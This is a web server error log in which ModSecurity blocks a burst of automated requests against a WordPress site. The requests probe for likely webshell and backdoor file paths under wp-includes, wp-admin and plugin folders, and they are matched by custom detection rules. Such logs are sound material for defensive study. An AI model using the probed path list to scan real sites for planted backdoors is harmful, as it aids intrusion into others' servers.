[Sun Nov 23 09:00:26.730761 2025] [:error] [pid 38739:tid 38792] [client 85.203.21.156:51505] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/img/full/admin.php"] [unique_id "aSJcqgdvEgJm2n2cDmpmEwAAAFc"]
[Sun Nov 23 09:00:27.185374 2025] [:error] [pid 44652:tid 44721] [client 85.203.21.190:43561] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-file-manager/classes/admin.php"] [unique_id "aSJcq9iQFwsyXQDhwyAOwgAAAQ8"]
[Sun Nov 23 09:00:27.387015 2025] [:error] [pid 38739:tid 38785] [client 85.203.21.195:43809] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-install.php"] [unique_id "aSJcqwdvEgJm2n2cDmpmFwAAAFA"]
[Sun Nov 23 09:00:27.898941 2025] [:error] [pid 38739:tid 38781] [client 85.203.21.213:29055] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/405.php"] [unique_id "aSJcqwdvEgJm2n2cDmpmGwAAAEw"]
[Sun Nov 23 09:00:28.278635 2025] [:error] [pid 38739:tid 38787] [client 85.203.21.172:59975] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/sql.php"] [unique_id "aSJcrAdvEgJm2n2cDmpmHAAAAFI"]
[Sun Nov 23 09:00:28.476637 2025] [:error] [pid 38739:tid 38783] [client 85.203.21.232:33753] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/service.php"] [unique_id "aSJcrAdvEgJm2n2cDmpmHQAAAE4"]
[Sun Nov 23 09:00:28.881343 2025] [:error] [pid 44652:tid 44710] [client 85.203.21.188:26969] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/widgets/nux.php"] [unique_id "aSJcrNiQFwsyXQDhwyAOwwAAAQQ"]
[Sun Nov 23 09:00:29.139449 2025] [:error] [pid 38824:tid 38844] [client 85.203.21.184:43307] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/admin.php"] [unique_id "aSJcrU8WZjXLvbHTHPcN7gAAANE"]
[Sun Nov 23 09:00:29.370651 2025] [:error] [pid 38738:tid 38766] [client 85.203.21.178:31479] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugin/3d-flipbook-dflip-lite/3d-flipbook-dflip-lite.php"] [unique_id "aSJcrQytc6TL9XavPmMcQwAAABg"]
[Sun Nov 23 09:00:29.582938 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.239:64027] [client 85.203.21.239] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/sss.php"] [unique_id "aSJcrQdvEgJm2n2cDmpmIQAAAEQ"]
[Sun Nov 23 09:00:30.000847 2025] [:error] [pid 38739:tid 38769] [client 85.203.21.223:38879] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugin/advanced-custom-fields/acf.php"] [unique_id "aSJcrgdvEgJm2n2cDmpmJAAAAEA"]
[Sun Nov 23 09:00:30.196499 2025] [:error] [pid 38738:tid 38747] [client 85.203.21.157:26191] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/buy.php"] [unique_id "aSJcrgytc6TL9XavPmMcRQAAAAU"]
[Sun Nov 23 09:00:31.512800 2025] [:error] [pid 38738:tid 38753] [client 85.203.21.164:48199] [client 85.203.21.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/edit.php"] [unique_id "aSJcrwytc6TL9XavPmMcRwAAAAs"]
[Sun Nov 23 09:00:32.223656 2025] [:error] [pid 38739:tid 38782] [client 85.203.21.202:36075] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugin/pngoptimazie.php"] [unique_id "aSJcsAdvEgJm2n2cDmpmLgAAAE0"]
[Sun Nov 23 09:00:32.459103 2025] [:error] [pid 44652:tid 44708] [client 85.203.21.176:63863] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/database.php"] [unique_id "aSJcsNiQFwsyXQDhwyAOxAAAAQI"]
[Sun Nov 23 09:00:32.717272 2025] [:error] [pid 38740:tid 38809] [client 85.203.21.235:23649] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/obfuscate.php"] [unique_id "aSJcsA13QPZSi6O8umXdCAAAAI0"]
[Sun Nov 23 09:00:32.989826 2025] [:error] [pid 38739:tid 38769] [client 85.203.21.208:24465] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/mabar88/inc/assets/images/lock.php"] [unique_id "aSJcsAdvEgJm2n2cDmpmMAAAAEA"]
[Sun Nov 23 09:00:33.236134 2025] [:error] [pid 38738:tid 38759] [client 85.203.21.223:37097] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/chosen.php"] [unique_id "aSJcsQytc6TL9XavPmMcTQAAABE"]
[Sun Nov 23 09:00:33.429749 2025] [:error] [pid 38738:tid 38760] [client 85.203.21.197:56951] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/maxwin88/inc/metabox/extend-metabox/lock.php"] [unique_id "aSJcsQytc6TL9XavPmMcTgAAABI"]
[Sun Nov 23 09:00:33.948026 2025] [:error] [pid 38824:tid 38829] [client 85.203.21.227:64065] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comment-content/about.php"] [unique_id "aSJcsU8WZjXLvbHTHPcN9QAAAMI"]
[Sun Nov 23 09:00:34.174447 2025] [:error] [pid 38738:tid 38745] [client 85.203.21.172:38223] [client 85.203.21.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/wp-conflg.php"] [unique_id "aSJcsgytc6TL9XavPmMcUAAAAAM"]
[Sun Nov 23 09:00:34.516150 2025] [:error] [pid 38824:tid 38836] [client 85.203.21.52:57085] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/mediaelement/renderers/about.php"] [unique_id "aSJcsk8WZjXLvbHTHPcN9wAAAMk"]
[Sun Nov 23 09:00:34.981728 2025] [:error] [pid 38740:tid 38815] [client 85.203.21.197:54853] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aSJcsg13QPZSi6O8umXdDwAAAJM"]
[Sun Nov 23 09:00:35.196982 2025] [:error] [pid 38824:tid 38830] [client 85.203.21.186:21617] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/src/Decode/ahax.php"] [unique_id "aSJcs08WZjXLvbHTHPcN-QAAAMM"]
[Sun Nov 23 09:00:35.622102 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.160:46495] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/connects.php"] [unique_id "aSJcswdvEgJm2n2cDmpmNgAAAEQ"]
[Sun Nov 23 09:00:36.191885 2025] [:error] [pid 38739:tid 38787] [client 85.203.21.170:27711] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/alfa.php"] [unique_id "aSJctAdvEgJm2n2cDmpmPAAAAFI"]
[Sun Nov 23 09:00:36.391193 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.170:65319] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/css.php"] [unique_id "aSJctAdvEgJm2n2cDmpmPgAAAFM"]
[Sun Nov 23 09:00:36.627367 2025] [:error] [pid 38824:tid 38834] [client 85.203.21.213:21977] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/hexa.php"] [unique_id "aSJctE8WZjXLvbHTHPcN_AAAAMc"]
[Sun Nov 23 09:00:36.861145 2025] [:error] [pid 44652:tid 44729] [client 85.203.21.222:37919] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/images/images/images/images/images/images/images/images/images/images/images/Contacts.php"] [unique_id "aSJctNiQFwsyXQDhwyAOyAAAARc"]
[Sun Nov 23 09:00:37.188387 2025] [:error] [pid 38738:tid 38755] [client 85.203.21.221:58045] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/tag-cloud.php"] [unique_id "aSJctQytc6TL9XavPmMcUwAAAA0"]
[Sun Nov 23 09:00:37.735910 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.201:36813] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/vpihdxu/wp-loader.php"] [unique_id "aSJctQdvEgJm2n2cDmpmQQAAAEQ"]
[Sun Nov 23 09:00:37.955818 2025] [:error] [pid 38740:tid 38809] [client 85.203.21.221:42475] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/class-json.php"] [unique_id "aSJctQ13QPZSi6O8umXdEgAAAI0"]
[Sun Nov 23 09:00:38.156710 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.226:44715] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/plugin.php"] [unique_id "aSJctgytc6TL9XavPmMcVQAAAAg"]
[Sun Nov 23 09:00:38.364290 2025] [:error] [pid 38738:tid 38744] [client 85.203.21.207:43605] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/images/images/images/images/images/images/images/images/images/images/images/Contacts.php"] [unique_id "aSJctgytc6TL9XavPmMcVgAAAAI"]
[Sun Nov 23 09:00:43.612137 2025] [:error] [pid 38740:tid 38820] [client 85.203.21.161:39143] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/navigation/lock.php"] [unique_id "aSJcuw13QPZSi6O8umXdFgAAAJg"]
[Sun Nov 23 09:00:44.037866 2025] [:error] [pid 44652:tid 44725] [client 85.203.21.213:56647] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/quadmenu/assets/frontend/icons/fontawesome/css/lock.php"] [unique_id "aSJcvNiQFwsyXQDhwyAO2QAAARM"]
[Sun Nov 23 09:00:44.246592 2025] [:error] [pid 38824:tid 38842] [client 85.203.21.208:21401] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/checkout-for-woocommerce/templates/glass/about.php"] [unique_id "aSJcvE8WZjXLvbHTHPcOCQAAAM8"]
[Sun Nov 23 09:00:44.473188 2025] [:error] [pid 38740:tid 38811] [client 85.203.21.223:47539] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/ngg/modules/photocrati-nextgen_basic_imagebrowser/static/lock.php"] [unique_id "aSJcvA13QPZSi6O8umXdGQAAAI8"]
[Sun Nov 23 09:00:44.669393 2025] [:error] [pid 44652:tid 44723] [client 85.203.21.201:45077] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-image-editor-gd-pic.php"] [unique_id "aSJcvNiQFwsyXQDhwyAO2wAAARE"]
[Sun Nov 23 09:00:44.917165 2025] [:error] [pid 44652:tid 44707] [client 85.203.21.161:63839] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/connects.php"] [unique_id "aSJcvNiQFwsyXQDhwyAO3QAAAQE"]
[Sun Nov 23 09:00:45.173923 2025] [:error] [pid 38739:tid 38771] [client 85.203.21.184:30577] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/options-privacy-part.php"] [unique_id "aSJcvQdvEgJm2n2cDmpmUwAAAEI"]
[Sun Nov 23 09:00:45.554829 2025] [:error] [pid 44652:tid 44728] [client 85.203.21.228:42971] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/link-template-variable.php"] [unique_id "aSJcvdiQFwsyXQDhwyAO3gAAARY"]
[Sun Nov 23 09:00:45.786387 2025] [:error] [pid 38739:tid 38773] [client 85.203.21.57:44357] [client 85.203.21.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/poisontalk.php"] [unique_id "aSJcvQdvEgJm2n2cDmpmVwAAAEQ"]
[Sun Nov 23 09:00:46.235199 2025] [:error] [pid 38739:tid 38774] [client 85.203.21.237:35517] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wpfilemangersobject/"] [unique_id "aSJcvgdvEgJm2n2cDmpmWQAAAEU"]
[Sun Nov 23 09:00:46.457571 2025] [:error] [pid 44652:tid 44727] [client 85.203.21.162:53843] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/media-text-double.php"] [unique_id "aSJcvtiQFwsyXQDhwyAO3wAAARU"]
[Sun Nov 23 09:00:46.640054 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.238:40143] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-walker-category-checklist-hashing.php"] [unique_id "aSJcvgdvEgJm2n2cDmpmXQAAAEk"]
[Sun Nov 23 09:00:46.848575 2025] [:error] [pid 38739:tid 38793] [client 85.203.21.193:58713] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/link-manager-first.php"] [unique_id "aSJcvgdvEgJm2n2cDmpmXwAAAFg"]
[Sun Nov 23 09:00:52.055227 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.186:43389] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/user.php"] [unique_id "aSJcxAdvEgJm2n2cDmpmbAAAAFU"]
[Sun Nov 23 09:00:52.297773 2025] [:error] [pid 38739:tid 38781] [client 85.203.21.178:23903] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/xax.php"] [unique_id "aSJcxAdvEgJm2n2cDmpmbgAAAEw"]
[Sun Nov 23 09:00:52.682975 2025] [:error] [pid 38739:tid 38789] [client 85.203.21.232:41845] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/nodeinfo/theme.php"] [unique_id "aSJcxAdvEgJm2n2cDmpmbwAAAFQ"]
[Sun Nov 23 09:00:52.920950 2025] [:error] [pid 38824:tid 38836] [client 85.203.21.226:35263] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/mainhosting/past.php"] [unique_id "aSJcxE8WZjXLvbHTHPcOEgAAAMk"]
[Sun Nov 23 09:00:54.215767 2025] [:error] [pid 38739:tid 38769] [client 85.203.21.217:59499] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/load.php"] [unique_id "aSJcxgdvEgJm2n2cDmpmcwAAAEA"]
